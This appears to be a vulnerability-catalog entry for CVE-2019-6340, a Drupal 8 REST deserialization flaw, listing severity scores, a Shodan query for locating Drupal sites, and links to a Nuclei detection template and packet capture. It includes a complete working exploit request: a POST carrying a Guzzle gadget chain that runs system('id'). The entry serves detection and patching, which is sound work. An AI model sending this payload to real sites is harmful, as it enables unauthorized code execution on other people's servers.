| Title | Drupal - Remote Code Execution |
|---|---|
| Author | madrobot |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Drupal site. |
| Remediation | Apply the official security patch provided by Drupal to fix the deserialization vulnerability. |
| CVSS Score | 8.1 |
| EPSS Score | 0.94436 |
| CVE ID | CVE-2019-6340 |
| CWE ID | CWE-502 |
| Shodan Query | http.component:"drupal"cpe:"cpe:2.3:a:drupal:drupal" |
| Tags | cve cve2019 drupal rce kev vkev vuln |
Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
POST /node/1?_format=hal_json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16
Connection: close
Content-Length: 588
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-6340.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-6340.pcap
N/AN/A